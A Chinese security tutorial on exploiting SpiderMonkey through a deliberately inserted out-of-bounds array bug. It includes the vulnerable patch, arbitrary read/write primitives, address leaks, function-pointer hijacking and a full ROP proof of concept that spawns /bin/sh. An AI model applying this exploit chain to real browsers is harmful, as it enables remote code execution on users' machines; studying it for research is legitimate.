网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

漏洞利用研究之Firefox浏览器

文章来源:重庆网络安全 发布时间:2020-02-24 15:18:46 围观次数:
分享到:

摘要:安全研究人员已利用引擎的JIT代码优化阶段中的漏洞,并将其用于任意代码执行。

 由于Firefox是开源浏览器软件,因此您可以直接从网站上下载其源代码,并根据官方文档直接编译命令行JavaScript引擎解释器。

 让我们从一个简单的例子开始。 首先,让我们看一下以下patch文件:

diff -r ee6283795f41 js/src/builtin/Array.cpp--- a/js/src/builtin/Array.cpp    Sat Apr 07 00:55:15 2018 +0300+++ b/js/src/builtin/Array.cpp    Sun Apr 08 00:01:23 2018 +0000@@ -192,6 +192,20 @@     return ToLength(cx, value, lengthp); }+static MOZ_ALWAYS_INLINE bool+BlazeSetLengthProperty(JSContext* cx, HandleObject obj, uint64_t length)+{+    if (obj->is<ArrayObject>()) {+        obj->as<ArrayObject>().setLengthInt32(length);+        obj->as<ArrayObject>().setCapacityInt32(length);+        obj->as<ArrayObject>().setInitializedLengthInt32(length);+        return true;+    }+    return false;+}+++ /*  * Determine if the id represents an array index.  *@@ -1578,6 +1592,23 @@     return DenseElementResult::Success; }+bool js::array_blaze(JSContext* cx, unsigned argc, Value* vp)+{+    CallArgs args = CallArgsFromVp(argc, vp);+    RootedObject obj(cx, ToObject(cx, args.thisv()));+    if (!obj)+        return false;++    if (!BlazeSetLengthProperty(cx, obj, 420))+        return false;++    //uint64_t l = obj.as<ArrayObject>().setLength(cx, 420);++    args.rval().setObject(*obj);+    return true;+}++ // ES2017 draft rev 1b0184bc17fc09a8ddcf4aeec9b6d9fcac4eafce // 22.1.3.21 Array.prototype.reverse ( ) bool@@ -3511,6 +3542,8 @@     JS_FN("unshift",            array_unshift,      1,0),     JS_FNINFO("splice",         array_splice,       &array_splice_info, 2,0),+    JS_FN("blaze",            array_blaze,      0,0),+     /* Pythonic sequence methods. */     JS_SELF_HOSTED_FN("concat",      "ArrayConcat",      1,0),     JS_INLINABLE_FN("slice",    array_slice,        2,0, ArraySlice), diff -r ee6283795f41 js/src/builtin/Array.h--- a/js/src/builtin/Array.h    Sat Apr 07 00:55:15 2018 +0300+++ b/js/src/builtin/Array.h    Sun Apr 08 00:01:23 2018 +0000@@ -166,6 +166,9 @@ array_reverse(JSContext* cx, unsigned argc, js::Value* vp); extern bool+array_blaze(JSContext* cx, unsigned argc, js::Value* vp);++extern bool array_splice(JSContext* cx, unsigned argc, js::Value* vp); extern const JSJitInfo array_splice_info; diff -r ee6283795f41 js/src/vm/ArrayObject.h--- a/js/src/vm/ArrayObject.h    Sat Apr 07 00:55:15 2018 +0300+++ b/js/src/vm/ArrayObject.h    Sun Apr 08 00:01:23 2018 +0000@@ -60,6 +60,14 @@         getElementsHeader()->length = length;     }+    void setCapacityInt32(uint32_t length) {+        getElementsHeader()->capacity = length;+    }++    void setInitializedLengthInt32(uint32_t length) {+        getElementsHeader()->initializedLength = length;+    }+     // Make an array object with the specified initial state.     static inline ArrayObject*     createArray(JSContext* cx,

 首先转到firefox的源文件夹,并通过git apply oob.patch应用此patch文件。此patch文件中的关键部分是js :: array_blaze函数。此函数调用BlazeSetLengthProperty来修改数组的length属性,并将该length属性的值设置为420。因此,在修改此属性后,我们获得了一个长度超过原始初始长度的数组,并且可以修改超出边界。


  当您具有越界读写权限时,最简单的利用方法就是将两个相邻的array,利用第一个的越界去写第二个array。


  但是在Spidermonkey中,array存储js :: Value而不是直接输入值。如果要在引擎中写入0×1337的值,则要写入内存的实际内容为0xfff8800000001337。 前面的0xfff88表示此处存储的内容是整数类型编号,而不是指针或double类型编号。因此,只需在此处写入最后32位即可获取修改后的稳定数。


  堆分配


  创建一个Array类型的数组将触发SpiderMonkey中的堆分配。

   new Array(1, 2, 3, 4);

 构建新阵列将通过Nursery堆或DefaultHeap分配。Nursery heap最大大小为16MB。这种分配方法不会给堆分配增加太多的随机性。如果我们分配两个数组,它们在内存中的位置通常是相邻的。除了普通的Array类型的数组外,TypedArrays也分配在Nursery heap上。 我们首先创建两个数组,它们在内存中相邻。

 const Smalls = new Array(1, 2, 3, 4);

 const U8A = new Uint8Array(8);

以这种方式应用的两个数组的地址,以及每个属性的值和表示如下:

object 142edbc00748  global 3cbb06b7c060 [global]  class 555557633a20 Array  group 3cbb06b79a00  flags:  proto <Array object at 3cbb06b9c040>  properties:    [Latin 1]"length" (shape 3cbb06b89bd8 permanent getterOp 5555558b3219 setterOp 5555558b3267)  elements:      0: 1      1: 2      2: 3      3: 4object 142edbc007a8  global 3cbb06b7c060 [global]  class 55555764a370 Uint8Array  group 3cbb06b79b80  flags:  proto <Uint8ArrayPrototype object at 3cbb06b7f1a0>  private 142edbc007e8  reserved slots:      0 : null      1 : 8      2 : 0  properties:

 可以看出,所应用的Array数组和Uint8Array数组地址分别为0x142edbc00748和0x142edbc007a8。这两个数组是相邻的,并且Smalls数组的大小为0×60字节。 因为我们要修改后面的TypedArray,所以我们首先需要查看他的布局是什么样。通常,在JavaScript引擎的开发过程中,这种TypedArray用于读取和写入任意地址。  TypedArray的读取和写入方法,不再读取和写入js :: Value,而是直接写入所需的raw bytes。


  通过阅读源代码,我们可以发现TypedArrays的实现实际上在js :: TypedArrayObject类中,该类也是js :: ArrayBufferViewObject的子类。我们想知道的是哪个属性存储buffer的size和pointer。在源代码中找到实现的这一部分的内容,如下所示:

class ArrayBufferViewObject : public NativeObject {  public:    // Underlying (Shared)ArrayBufferObject.    static constexpr size_t BUFFER_SLOT = 0;    // Slot containing length of the view in number of typed elements.    static constexpr size_t LENGTH_SLOT = 1;    // Offset of view within underlying (Shared)ArrayBufferObject.    static constexpr size_t BYTEOFFSET_SLOT = 2;    static constexpr size_t DATA_SLOT = 3;// [...]};class TypedArrayObject : public ArrayBufferViewObject

在调试器中,您可以同时看到这部分内存的布局:

blob.png

可以看出,从内存地址0x142edbc007a8开始,它就是申请的TypedArray。


  从地址0x142edbc007c0开始,指向的内容为emptyElementsHeader 0×10,BUFFER_SLOT,LENGTH_SLOT,BYTEOFFSET_SLOT,DATA_SLOT,内联数据(8字节)。length属性是js :: Value类型的变量。 指向内联缓冲区的指针是普通类型的指针。同样令人惊讶的是TypedArray结构的elements_属性指向js应用程序的.rdata部分。 因此,如果我们可以泄漏该属性,则可以获取该模块的基地址。


  在任何地址实现读写的想法不能如下:


  1.通过读取TypedArray的elements_attribute,此属性在b数组中位置的索引为9,这可能会泄漏js程序的基址。


  2.修改DATA_SLOT之后,您可以通过TypedArray读写任何地址。

  在实际开始编写漏洞利用代码之前,还需要解决的另一件事是如何将js :: Value转换为相应的数字。由于通过Array类型的数组读取和写入的值都是双精度类型,因此可以使用saelo编写的两个脚本将双精度类型数字转换为存储在内存中的数据(原始字节)。

load('utils.js')load('int64.js') Int64.fromDouble(6.951651517974e-310).toString(16)

除了在漏洞利用之前加载这两个脚本之外,还可以使用以下简单代码来实现double和int32类型的转换:

var f64 = new Float64Array(1);var u32 = new Uint32Array(f64.buffer);function d2u(v) {    f64[0] = v;    return u32; }function u2d(lo, hi) {    u32[0] = lo;    u32[1] = hi;    return f64[0]; }function log(lo, hi){  print('0x' + hi.toString(16) + lo.toString(16)); } d2u(6.951651517974e-310);

接下来,为了获得读写权限,正如我们之前提到的,我们可以修改TypedArray的DATA_SLOT属性。将该位置修改为对应地址的double表示法可以在该地址读取和写入数据。指针属性应位于索引13(9 + 4),而长度属性应位于索引11(9 + 2)。

console.log(b[11]); b[11] = 1337; console.log(c.length); b[13] = u2d(0xdeadc0de, 0xdeadbeef); console.log(c[0]);

访问c数组的DATA_SLOT时发生内存访问错误。rax寄存器的值为0xdeadc0dedeadbeef,这正是我们之前设置的值

blob.png

 接下来,可以执行漏洞利用的下一步。通过这个越界控制程序的读写控制流程。


  另外,也可以通过这两个array实现任意对象的地址泄漏。有两种泄漏对象地址的方法。


  第一种方法是在TypedArray之后放置一个新的Array,该数组存储要泄漏的对象的内容。通过越界读取和写入修改typedArray的length属性后,可以使用TypedArray越界读取新Array中对象的地址。例如,在下面的代码中,您可以通过数组c读取d中存储的c的地址。 当然,此地址以js :: Value格式存储。

b = new Array(1,2,3,4,5,6); c = new Uint8Array(8); d = [c, c, c, c]; b.blaze() == undefined; dumpObject(c);0x15f0d7f00848: 0x0000114803e79d90      0x0000114803ea67180x15f0d7f00858: 0x0000000000000000      0x0000555556d691d00x15f0d7f00868: 0xfffa000000000000      0xfff88000000000080x15f0d7f00878: 0xfff8800000000000      0x000015f0d7f008880x15f0d7f00888: 0x0000000000000000      0xfffe2d2d2d2d2d2d0x15f0d7f00898: 0xfffe2d2d2d2d2d2d      0xfffe2d2d2d2d2d2d0x15f0d7f008a8: 0x0000114803e79dc0      0x0000114803e89bd80x15f0d7f008b8: 0x0000000000000000      0x000015f0d7f008d80x15f0d7f008c8: 0x0000000400000000      0x00000004000000060x15f0d7f008d8: 0xfffe15f0d7f00848      0xfffe15f0d7f008480x15f0d7f008e8: 0xfffe15f0d7f00848      0xfffe15f0d7f008480x15f0d7f008f8: 0xfffe2d2d2d2d2d2d      0xfffe2d2d2d2d2d2d

 第二种方法不需要创建新的数组,而是使用此越界数组覆盖数组c的backing buffer。


  然后,您只需要读取TypedArray的inline backing buffer。inline backing buffer在array当中的offset为14。

function b2i(b) {    let ans = 0;    b[7] = 0;    b[6] = 0;    for(let i = 7; i >= 0; i--){        ans = ans * 0x100;        ans += b[i];    }    return ans; } b = new Array(1,2,3,4,5,6); c = new Uint8Array(8); d = new Array(1337, 1338, 1, 1); b.blaze() == undefined; b[14] = d;// using shallow copybytes = c.slice(0, 8); addr = b2i(bytes);console.log(addr.toString(16));

获得在任何地址的读写能力后,要考虑的问题是在哪里写。 总体思路如下:


  1.覆盖堆栈上的返回地址。 当程序受边界CFI保护时,通常使用此方法。


  2.修改对象的vtable


  3.在程序中修改JIT函数的指针


  4.修改其他类型的函数指针

  我们可以尝试最后一种方法。


  每个JavaScript对象定义许多不同的函数方法,这些方法存储在相应的内存中。对于js :: NativeObject,有一个group_属性。js :: ObjectGroup文档记录了该组对象的类型信息。clasp_属性表示此对象组的属性。


  例如,上面代码中的c数组是Uint8Array类型的数组。如果找到js :: Class的c0ps属性,则可以找到一堆在特定时间由JavaScript引擎调用的函数指针。这些函数可以向对象添加属性或删除属性。


  通常,这些指针存储在只读区域中,这意味着我们无法直接覆盖它们。但这无关紧要,我们可以继续向下看,直到找到可以写入的指针为止。一旦我们可以手动重新创建结构并将这些指针写入c0ps属性。


  现在我们所需要知道的是,一旦我们可以控制c0ps属性中的指针,就可以劫持程序的控制流吗?


  当然,对于这个例子。

const Smalls = new Array(1, 2, 3, 4); const U8A = new Uint8Array(8); dumpObject(Smalls); dumpObject(U8A);console.log('123'); U8A.c = 123; 对`console.log`函数下一个断点,可以看到U8A这个数组的地址在`0x14127df007a8`位置。通过dumpObject还可以看到它的class类型是`Uint8Array`,位置在`0x55555764a370`。object 14127df007a8  global 2da1c037c060 [global]  class 55555764a370 Uint8Array  group 2da1c0379b80  flags:  proto <Uint8ArrayPrototype object at 2da1c037f1a0>  private 14127df007e8  reserved slots:      0 : null      1 : 8      2 : 0  properties:

该数组的class在内存中表示如下。对应于此class的内容是TypedArray的所有指针结构。对应的0x55555764a380位置存储Uint8Array类型的函数指针的地址。检查0x555557649c00的内容。

blob.png

函数指针addProperty为0。修改存储在0x555557649c00中的内容就是修改函数指针addProperty。

(gdb) p TypedArrayClassOps $2 = {addProperty = 0x0, delProperty = 0x0, enumerate = 0x0, newEnumerate = 0x0, resolve = 0x0, mayResolve = 0x0,  finalize = 0x555555d7e840 <js::TypedArrayObject::finalize(JSFreeOp*, JSObject*)>, call = 0x0, hasInstance = 0x0, construct = 0x0,  trace = 0x555555a0ebc8 <js::ArrayBufferViewObject::trace(JSTracer*, JSObject*)>}

继续执行以生成崩溃,崩溃地址是修改后的值。 这证明我们修改了该指针值之后。  U8A.c = 123语句将直接调用此函数指针并执行

Thread 1 "js" received signal SIGSEGV, Segmentation fault.0x000000000badc0de in ?? () (gdb)

接下来要做的是通过读写上面提到的任何地址来获取外壳。


  栈迁移


  劫持程序控制流只是现有攻击的第一步。 要获得执行任意代码的能力,您还需要知道相应内存中存储的内容,并获取要调用的函数的地址。 您还需要构造一个ROP来实现所需的功能。


  如果您是经验丰富的CTF专家,则可以快速计划一个完整的攻击过程。 在我们能够在任何地址进行读写之后,接下来的步骤如下:


  1.程序泄漏地址


  2.通过存储在程序的GOT段中的内容读取libc的地址。 计算ROP流程所需的功能地址


  3.读取堆栈的地址


  4.在相应的内存中写入所需的字符串(“ / bin / sh”或“ / bin / kcalc”)


  5.将返回地址及其下面的内存修改为ROP

  最终结果如下图所示:

blob.png

为什么不使用wasm对象


  在利用Chrome浏览器的v8引擎时,我们通常使用wasm对象作为最终目标。将创建的wasm对象的可读写可执行页面更改为shellcode。最终调用此功能对象时,将执行shellcode。


  但是在SpiderMonkey引擎中,wasmcode不会直接编译为shellcode并存储在可写的可执行页面上。相反,相应的伪代码由js引擎编译和解释,因此相对而言,其wasm的处理速度和效率将大大低于chrome的v8引擎。同时,这意味着我们无法使用以下代码在Spidermonkey中创建可读写的可执行页面。

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});let f = wasm_mod.exports._Z3addii; f();

漏洞利用

POC

var f64 = new Float64Array(1);var u32 = new Uint32Array(f64.buffer);function d2u(v) {    f64[0] = v;    return u32; }function u2d(lo, hi) {    u32[0] = lo;    u32[1] = hi;    return f64[0]; }function log(lo, hi){    print('0x' + hi.toString(16) + lo.toString(16)); }function b2i(bytes) {    let ans = 0;    bytes[7] = 0;    bytes[6] = 0;    for(let i = 7; i >= 0; i--){        ans = ans * 0x100;        ans += bytes[i];    }    return ans; }function read(lo, hi){    let tmp = 0;    b[13] = u2d(lo, hi);    tmp = b2i(c.slice(0, 8));    return tmp; }function long_read(a){    let lo = a % 0x100000000;    let hi = a / 0x100000000;    return read(lo, hi); }function write32(lo, hi, v){    let tmp = [];    b[13] = u2d(lo, hi);    for(let i = 0; i < 7; ++i){        tmp[i] = (v % 0x100) & 0xff;        v = parseInt(v / 0x100);    }    c.set(tmp); }function int_write(a, v){    let lo = a % 0x100000000;    let hi = a / 0x100000000;    return write32(lo, hi, v); } b = new Array(1,2,3,4,5,6); c = new Uint8Array(8); b.blaze() == undefined; d2u(b[9]); js_addr_lo = u32[0] - 0x18151d0; js_addr_hi = u32[1];//leak libc addressmemset_got_lo = js_addr_lo + 0x0000021601e8; memset_got_hi = js_addr_hi; memset_libc = read(memset_got_lo, memset_got_hi); libc_base = memset_libc - 0x164b70;//calculate some important addressenviron_addr = libc_base + 0x1c4120; pop_rdi_addr = libc_base + 0x000000000026b12; system_addr = libc_base + 0x491c0;//leak stack addressstack_addr = long_read(environ_addr);//calculate the rsprsp_value = stack_addr - 0x12d8; print(rsp_value.toString(16) + ',' + pop_rdi_addr.toString(16) + ',' + libc_base.toString(16));//trigger the exploit like the chakracore oneString.prototype.slice.call('', { valueOf : () => {                                    int_write(environ_addr + 0x100, 0x6e69622f);                                    int_write(environ_addr + 0x104, 0x0068732f);                                    int_write(rsp_value, pop_rdi_addr % 0x100000000);                                    int_write(rsp_value + 4, parseInt(pop_rdi_addr / 0x100000000));                                    int_write(rsp_value + 8, (environ_addr + 0x100) % 0x100000000);                                    int_write(rsp_value + 12, parseInt((environ_addr + 0x100) / 0x100000000));                                    int_write(rsp_value + 16, system_addr % 0x100000000);                                    int_write(rsp_value + 20, parseInt(system_addr / 0x100000000));                                }});

本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:漏洞利用研究 Firefox漏洞 重庆网络安全

上一篇:WordPress ThemeGrill Demo Importer插件漏洞:为未经身份验证的用户提供管理员特权。攻击者可以管理员身份登录控制网站。
下一篇: CVE-2020-1938:Apache AJP 协议漏洞,从环境搭建到修复建议详细分析

热门资讯

鼠标向下滚动